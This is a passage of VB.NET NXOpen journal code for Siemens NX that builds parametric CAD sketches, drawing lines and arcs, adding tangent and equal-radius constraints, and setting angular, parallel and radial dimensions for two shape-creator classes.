theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry1 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry1.Geometry = line2 sketch_DimensionGeometry1.AssocType = Sketch.AssocType.EndPoint sketch_DimensionGeometry1.AssocValue = 0 Dim sketch_DimensionGeometry2 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry2.Geometry = line3 sketch_DimensionGeometry2.AssocType = Sketch.AssocType.EndPoint sketch_DimensionGeometry2.AssocValue = 0 Dim point3d11 As Point3d = Transform.Apply(New Point3d(0.123381774831683, 4.65528927345692, 0)) Dim nullExpression As Expression = Nothing Dim sketchDimensionalConstraint1 As SketchDimensionalConstraint sketchDimensionalConstraint1 = activeSketch.CreateDimension(Sketch.ConstraintType.AngularDim, sketch_DimensionGeometry1, sketch_DimensionGeometry2, point3d11, nullExpression) Dim dimension1 As Annotations.Dimension dimension1 = sketchDimensionalConstraint1.AssociatedDimension Dim expression1 As Expression expression1 = sketchDimensionalConstraint1.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId21 As Session.UndoMarkId ' session_UndoMarkId21 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression1.RightHandSide = "60" ' activeSketch.Update() ' Dim session_UndoMarkId22 As Session.UndoMarkId ' session_UndoMarkId22 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry3 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry3.Geometry = line2 sketch_DimensionGeometry3.AssocType = Sketch.AssocType.EndPoint sketch_DimensionGeometry3.AssocValue = 0 Dim sketch_DimensionGeometry4 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry4.Geometry = line1 sketch_DimensionGeometry4.AssocType = Sketch.AssocType.EndPoint sketch_DimensionGeometry4.AssocValue = 0 Dim point3d12 As Point3d = Transform.Apply(New Point3d(1.99783566169762, 1.641926695837, 0)) Dim sketchDimensionalConstraint2 As SketchDimensionalConstraint sketchDimensionalConstraint2 = activeSketch.CreateDimension(Sketch.ConstraintType.AngularDim, sketch_DimensionGeometry3, sketch_DimensionGeometry4, point3d12, nullExpression) Dim dimension2 As Annotations.Dimension dimension2 = sketchDimensionalConstraint2.AssociatedDimension Dim expression2 As Expression expression2 = sketchDimensionalConstraint2.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId23 As Session.UndoMarkId ' session_UndoMarkId23 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression2.RightHandSide = "30" activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Arc... ' ---------------------------------------------- ' Dim session_UndoMarkId24 As Session.UndoMarkId ' session_UndoMarkId24 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId25 As Session.UndoMarkId ' session_UndoMarkId25 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' Dim session_UndoMarkId26 As Session.UndoMarkId ' session_UndoMarkId26 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId26, "Curve", Session.MarkVisibility.Visible) Dim point3d13 As Point3d = Transform.Apply(New Point3d(1.23199562459941, 2.13387901650873, 0)) Dim point3d14 As Point3d = Transform.Apply(New Point3d(1.9383633651574, 2.3072617865998, 0)) Dim point3d15 As Point3d = Transform.Apply(New Point3d(1.75750455564763, 3.04408718491545, 0)) Dim boolean1 As Boolean Dim arc3 As Arc arc3 = workPart.Curves.CreateArc(point3d13, point3d14, point3d15, False, boolean1) activeSketch.AddGeometry(arc3, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry8 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc3, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp3 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp3.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp3.Point.X = 2.01660268976505 sketch_ConstraintGeometryHelp3.Point.Y = 2.87899333867257 sketch_ConstraintGeometryHelp3.Point.Z = 0 sketch_ConstraintGeometryHelp3.Parameter = 0 sketch_ConstraintGeometryHelp3.Point = Transform.Apply(sketch_ConstraintGeometryHelp3.Point) Dim sketch_ConstraintGeometry9 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp4 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp4.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp4.Point.X = 2.01660268976505 sketch_ConstraintGeometryHelp4.Point.Y = 2.87899333867257 sketch_ConstraintGeometryHelp4.Point.Z = 0 sketch_ConstraintGeometryHelp4.Parameter = 0 sketch_ConstraintGeometryHelp4.Point = Transform.Apply(sketch_ConstraintGeometryHelp4.Point) Dim sketchTangentConstraint1 As SketchTangentConstraint sketchTangentConstraint1 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry8, sketch_ConstraintGeometryHelp3, sketch_ConstraintGeometry9, sketch_ConstraintGeometryHelp4) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' Dim session_UndoMarkId27 As Session.UndoMarkId ' session_UndoMarkId27 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId27, "Curve", Session.MarkVisibility.Visible) Dim point3d16 As Point3d = Transform.Apply(New Point3d(-1.75750455564763, 3.04408718491545, 0)) Dim point3d17 As Point3d = Transform.Apply(New Point3d(-1.78649850669228, 2.15189901493332, 0)) Dim point3d18 As Point3d = Transform.Apply(New Point3d(-1.23199562459941, 2.13387901650873, 0)) Dim boolean2 As Boolean Dim arc4 As Arc arc4 = workPart.Curves.CreateArc(point3d16, point3d17, point3d18, False, boolean2) activeSketch.AddGeometry(arc4, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry10 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc4, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp5 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp5.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp5.Point.X = -1.24886194426936 sketch_ConstraintGeometryHelp5.Point.Y = 2.12405195800011 sketch_ConstraintGeometryHelp5.Point.Z = 0 sketch_ConstraintGeometryHelp5.Parameter = 0 sketch_ConstraintGeometryHelp5.Point = Transform.Apply(sketch_ConstraintGeometryHelp5.Point) Dim sketch_ConstraintGeometry11 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp6 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp6.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp6.Point.X = -1.24886194426936 sketch_ConstraintGeometryHelp6.Point.Y = 2.12405195800011 sketch_ConstraintGeometryHelp6.Point.Z = 0 sketch_ConstraintGeometryHelp6.Parameter = 0 sketch_ConstraintGeometryHelp6.Point = Transform.Apply(sketch_ConstraintGeometryHelp6.Point) Dim sketchTangentConstraint2 As SketchTangentConstraint sketchTangentConstraint2 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry10, sketch_ConstraintGeometryHelp5, sketch_ConstraintGeometry11, sketch_ConstraintGeometryHelp6) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Arc... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId28 As Session.UndoMarkId ' session_UndoMarkId28 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry12 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp7 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp7.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp7.Point.X = 0.858878474316268 sketch_ConstraintGeometryHelp7.Point.Y = 2.30945462013968 sketch_ConstraintGeometryHelp7.Point.Z = 0 sketch_ConstraintGeometryHelp7.Parameter = 0 sketch_ConstraintGeometryHelp7.Point = Transform.Apply(sketch_ConstraintGeometryHelp7.Point) Dim sketch_ConstraintGeometry13 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc3, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp8 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp8.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp8.Point.X = 1.64663888077475 sketch_ConstraintGeometryHelp8.Point.Y = 2.0859031548924 sketch_ConstraintGeometryHelp8.Point.Z = 0 sketch_ConstraintGeometryHelp8.Parameter = 0 sketch_ConstraintGeometryHelp8.Point = Transform.Apply(sketch_ConstraintGeometryHelp8.Point) Dim sketchTangentConstraint3 As SketchTangentConstraint sketchTangentConstraint3 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry12, sketch_ConstraintGeometryHelp7, sketch_ConstraintGeometry13, sketch_ConstraintGeometryHelp8) ' activeSketch.Update() ' Dim session_UndoMarkId29 As Session.UndoMarkId ' session_UndoMarkId29 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry14 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc4, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp9 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp9.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp9.Point.X = -2.01738022826255 sketch_ConstraintGeometryHelp9.Point.Y = 2.64391374170799 sketch_ConstraintGeometryHelp9.Point.Z = 0 sketch_ConstraintGeometryHelp9.Parameter = 0 sketch_ConstraintGeometryHelp9.Point = Transform.Apply(sketch_ConstraintGeometryHelp9.Point) Dim sketch_ConstraintGeometry15 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp10 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp10.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp10.Point.X = -1.39597845411294 sketch_ConstraintGeometryHelp10.Point.Y = 3.22591587121256 sketch_ConstraintGeometryHelp10.Point.Z = 0 sketch_ConstraintGeometryHelp10.Parameter = 0 sketch_ConstraintGeometryHelp10.Point = Transform.Apply(sketch_ConstraintGeometryHelp10.Point) Dim sketchTangentConstraint4 As SketchTangentConstraint sketchTangentConstraint4 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry14, sketch_ConstraintGeometryHelp9, sketch_ConstraintGeometry15, sketch_ConstraintGeometryHelp10) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Parallel... ' ---------------------------------------------- ' Dim session_UndoMarkId30 As Session.UndoMarkId ' session_UndoMarkId30 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' ---------------------------------------------- ' Menu: Insert->Dimensions->Parallel... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Inferred... ' ---------------------------------------------- ' Dim session_UndoMarkId31 As Session.UndoMarkId ' session_UndoMarkId31 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId32 As Session.UndoMarkId ' session_UndoMarkId32 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry5 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry5.Geometry = point2 sketch_DimensionGeometry5.AssocType = Sketch.AssocType.StartPoint sketch_DimensionGeometry5.AssocValue = 0 Dim sketch_DimensionGeometry6 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry6.Geometry = arc4 sketch_DimensionGeometry6.AssocType = Sketch.AssocType.ArcCenter sketch_DimensionGeometry6.AssocValue = 0 Dim point3d19 As Point3d = Transform.Apply(New Point3d(-2.7713444808347, -0.279981719810354, 0)) Dim sketchDimensionalConstraint3 As SketchDimensionalConstraint sketchDimensionalConstraint3 = activeSketch.CreateDimension(Sketch.ConstraintType.ParallelDim, sketch_DimensionGeometry5, sketch_DimensionGeometry6, point3d19, nullExpression) Dim dimension3 As Annotations.Dimension dimension3 = sketchDimensionalConstraint3.AssociatedDimension Dim expression3 As Expression expression3 = sketchDimensionalConstraint3.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId33 As Session.UndoMarkId ' session_UndoMarkId33 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression3.RightHandSide = "3.0" ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Radius... ' ---------------------------------------------- ' Dim session_UndoMarkId34 As Session.UndoMarkId ' session_UndoMarkId34 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId35 As Session.UndoMarkId ' session_UndoMarkId35 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry7 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry7.Geometry = arc3 sketch_DimensionGeometry7.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry7.AssocValue = 67 Dim point3d20 As Point3d = Transform.Apply(New Point3d(3.75365322661002, 2.78083538659098, 0)) Dim sketchDimensionalConstraint4 As SketchDimensionalConstraint sketchDimensionalConstraint4 = activeSketch.CreateRadialDimension(sketch_DimensionGeometry7, point3d20, nullExpression) Dim dimension4 As Annotations.Dimension dimension4 = sketchDimensionalConstraint4.AssociatedDimension Dim expression4 As Expression expression4 = sketchDimensionalConstraint4.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId36 As Session.UndoMarkId ' session_UndoMarkId36 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression4.RightHandSide = ".5" ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Tools->Constraints->Convert To/From Reference... ' ---------------------------------------------- ' Dim session_UndoMarkId37 As Session.UndoMarkId ' session_UndoMarkId37 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Convert To/From Reference") ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Tools->Journal->Stop ' ---------------------------------------------- theUFSession.Sket.SetReferenceStatus(activeSketch.Tag, line1.Tag, NXOpen.UF.UFSket.ReferenceStatus.Reference) theUFSession.Sket.SetReferenceStatus(activeSketch.Tag, line2.Tag, NXOpen.UF.UFSket.ReferenceStatus.Reference) theUFSession.Sket.SetReferenceStatus(activeSketch.Tag, line3.Tag, NXOpen.UF.UFSket.ReferenceStatus.Reference) Dim undoMark As Session.UndoMarkId = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "change dimensions") Try expression1.SetName(dimensionData(0).name) expression3.SetName(dimensionData(1).name) expression4.SetName(dimensionData(2).name) Catch ex As Exception System.Windows.Forms.MessageBox.Show("Undoing change names of expressions because of the following errors:" & Chr(10) & ex.ToString()) theSession.UndoToMark(undoMark, Nothing) activeSketch.Update() Exit Sub End Try theSession.DeleteUndoMark(undoMark, Nothing) undoMark = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "change dimensions") Try expression2.RightHandSide = expression1.Name & "/2" expression1.RightHandSide = dimensionData(0).rhs activeSketch.Update() expression3.RightHandSide = dimensionData(1).rhs activeSketch.Update() expression4.RightHandSide = dimensionData(2).rhs Catch ex As Exception System.Windows.Forms.MessageBox.Show("Undoing change values of expressions because of the following errors:" & Chr(10) & ex.ToString()) theSession.UndoToMark(undoMark, Nothing) activeSketch.Update() Exit Sub End Try theSession.DeleteUndoMark(undoMark, Nothing) activeSketch.Update() End Sub End Class ' Creates shape 4 Public Class Shape4Creator Inherits ShapeCreator Implements IShapeCreator Public Sub New(ByVal session As Session, ByVal ufSession As NXOpen.UF.UFSession) MyBase.New(session, ufSession) End Sub Public Sub Execute(ByVal dimensionData() As DimensionData) Implements IShapeCreator.Execute theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create shape 4") ' NX 3.0.0.10 ' Journal created by vlucas on Fri Mar 05 20:57:10 2004 Eastern Standard Time ' ---------------------------------------------- ' Menu: Insert->Line... ' ---------------------------------------------- ' Dim session_UndoMarkId1 As Session.UndoMarkId ' session_UndoMarkId1 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId2 As Session.UndoMarkId ' session_UndoMarkId2 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId2, "Curve", Session.MarkVisibility.Visible) Dim point3d1 As Point3d = Transform.Apply(New Point3d(-1, 0, 0)) Dim point3d2 As Point3d = Transform.Apply(New Point3d(1, 0, 0)) Dim line1 As Line line1 = workPart.Curves.CreateLine(point3d1, point3d2) activeSketch.AddGeometry(line1, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry1 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint1 As SketchGeometricConstraint sketchGeometricConstraint1 = activeSketch.CreateHorizontalConstraint(sketch_ConstraintGeometry1) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId3 As Session.UndoMarkId ' session_UndoMarkId3 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry2 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.StartVertex, 0) Dim sketchGeometricConstraint2 As SketchGeometricConstraint sketchGeometricConstraint2 = activeSketch.CreateFixedConstraint(sketch_ConstraintGeometry2) ' activeSketch.Update() ' Dim session_UndoMarkId4 As Session.UndoMarkId ' session_UndoMarkId4 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry3 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.EndVertex, 0) Dim sketchGeometricConstraint3 As SketchGeometricConstraint sketchGeometricConstraint3 = activeSketch.CreateFixedConstraint(sketch_ConstraintGeometry3) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Line... ' ---------------------------------------------- ' Dim session_UndoMarkId5 As Session.UndoMarkId ' session_UndoMarkId5 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId6 As Session.UndoMarkId ' session_UndoMarkId6 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId6, "Curve", Session.MarkVisibility.Visible) Dim point3d3 As Point3d = Transform.Apply(New Point3d(-1.6, 0.4, 0)) Dim point3d4 As Point3d = Transform.Apply(New Point3d(1.8, 0.4, 0)) Dim line2 As Line line2 = workPart.Curves.CreateLine(point3d3, point3d4) activeSketch.AddGeometry(line2, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry4 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint4 As SketchGeometricConstraint sketchGeometricConstraint4 = activeSketch.CreateHorizontalConstraint(sketch_ConstraintGeometry4) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' Dim session_UndoMarkId7 As Session.UndoMarkId ' session_UndoMarkId7 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId7, "Curve", Session.MarkVisibility.Visible) Dim point3d5 As Point3d = Transform.Apply(New Point3d(-1.6, -0.50301800508301, 0)) Dim point3d6 As Point3d = Transform.Apply(New Point3d(1.8, -0.50301800508301, 0)) Dim line3 As Line line3 = workPart.Curves.CreateLine(point3d5, point3d6) activeSketch.AddGeometry(line3, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry5 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line3, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint5 As SketchGeometricConstraint sketchGeometricConstraint5 = activeSketch.CreateHorizontalConstraint(sketch_ConstraintGeometry5) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId8 As Session.UndoMarkId ' session_UndoMarkId8 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry6 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry7 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line3, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint6 As SketchGeometricConstraint sketchGeometricConstraint6 = activeSketch.CreateEqualLengthConstraint(sketch_ConstraintGeometry6, sketch_ConstraintGeometry7) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Arc... ' ---------------------------------------------- ' Dim session_UndoMarkId9 As Session.UndoMarkId ' session_UndoMarkId9 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId10 As Session.UndoMarkId ' session_UndoMarkId10 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId10, "Curve", Session.MarkVisibility.Visible) Dim point3d7 As Point3d = Transform.Apply(New Point3d(1.8, -0.50301800508301, 0)) Dim point3d8 As Point3d = Transform.Apply(New Point3d(3.00506339132138, -1.33821771163593, 0)) Dim point3d9 As Point3d = Transform.Apply(New Point3d(1.8, 0.4, 0)) Dim boolean1 As Boolean Dim arc1 As Arc arc1 = workPart.Curves.CreateArc(point3d7, point3d8, point3d9, False, boolean1) activeSketch.AddGeometry(arc1, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' Dim session_UndoMarkId11 As Session.UndoMarkId ' session_UndoMarkId11 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' ---------------------------------------------- ' Menu: Insert->Arc... ' ---------------------------------------------- ' theSession.DeleteUndoMark(session_UndoMarkId11, "Curve") ' ---------------------------------------------- ' Menu: Insert->Arc... ' ---------------------------------------------- ' Dim session_UndoMarkId12 As Session.UndoMarkId ' session_UndoMarkId12 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId13 As Session.UndoMarkId ' session_UndoMarkId13 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId13, "Curve", Session.MarkVisibility.Visible) Dim point3d10 As Point3d = Transform.Apply(New Point3d(-1.6, 0.4, 0)) Dim point3d11 As Point3d = Transform.Apply(New Point3d(-4.40378027091541, 0.104399963319116, 0)) Dim point3d12 As Point3d = Transform.Apply(New Point3d(-1.6, -0.503018005083011, 0)) Dim boolean2 As Boolean Dim arc2 As Arc arc2 = workPart.Curves.CreateArc(point3d10, point3d11, point3d12, False, boolean2) activeSketch.AddGeometry(arc2, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Arc... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId14 As Session.UndoMarkId ' session_UndoMarkId14 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry8 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry9 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint7 As SketchGeometricConstraint sketchGeometricConstraint7 = activeSketch.CreateEqualRadiusConstraint(sketch_ConstraintGeometry8, sketch_ConstraintGeometry9) ' activeSketch.Update() ' Dim session_UndoMarkId15 As Session.UndoMarkId ' session_UndoMarkId15 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry10 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.ArcCenter, 0) Dim sketch_ConstraintGeometry11 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp1 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp1.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp1.Point.X = 0.74 sketch_ConstraintGeometryHelp1.Point.Y = 0 sketch_ConstraintGeometryHelp1.Point.Z = 0 sketch_ConstraintGeometryHelp1.Parameter = 0 sketch_ConstraintGeometryHelp1.Point = Transform.Apply(sketch_ConstraintGeometryHelp1.Point) Dim sketchHelpedGeometricConstraint1 As SketchHelpedGeometricConstraint sketchHelpedGeometricConstraint1 = activeSketch.CreatePointOnCurveConstraint(sketch_ConstraintGeometry10, sketch_ConstraintGeometry11, sketch_ConstraintGeometryHelp1) ' activeSketch.Update() ' Dim session_UndoMarkId16 As Session.UndoMarkId ' session_UndoMarkId16 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry12 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.ArcCenter, 0) Dim sketch_ConstraintGeometry13 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp2 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp2.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp2.Point.X = -0.44 sketch_ConstraintGeometryHelp2.Point.Y = 0 sketch_ConstraintGeometryHelp2.Point.Z = 0 sketch_ConstraintGeometryHelp2.Parameter = 0 sketch_ConstraintGeometryHelp2.Point = Transform.Apply(sketch_ConstraintGeometryHelp2.Point) Dim sketchHelpedGeometricConstraint2 As SketchHelpedGeometricConstraint sketchHelpedGeometricConstraint2 = activeSketch.CreatePointOnCurveConstraint(sketch_ConstraintGeometry12, sketch_ConstraintGeometry13, sketch_ConstraintGeometryHelp2) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Circle... ' ---------------------------------------------- ' Dim session_UndoMarkId17 As Session.UndoMarkId ' session_UndoMarkId17 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId18 As Session.UndoMarkId ' session_UndoMarkId18 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId18, "Curve", Session.MarkVisibility.Visible) Dim point3d13 As Point3d = Transform.Apply(New Point3d(3.16987036992849, 0, 0)) Dim nXMatrix1 As NXMatrix = activeSketch.Orientation Dim arc3 As Arc arc3 = workPart.Curves.CreateArc(point3d13, nXMatrix1, 0.787716150459726, 0, 6.28318530717959) activeSketch.AddGeometry(arc3, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId19 As Session.UndoMarkId ' session_UndoMarkId19 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry14 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc3, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry15 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint8 As SketchGeometricConstraint sketchGeometricConstraint8 = activeSketch.CreateConcentricConstraint(sketch_ConstraintGeometry14, sketch_ConstraintGeometry15) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Circle... ' ---------------------------------------------- ' Dim session_UndoMarkId20 As Session.UndoMarkId ' session_UndoMarkId20 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId21 As Session.UndoMarkId ' session_UndoMarkId21 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' 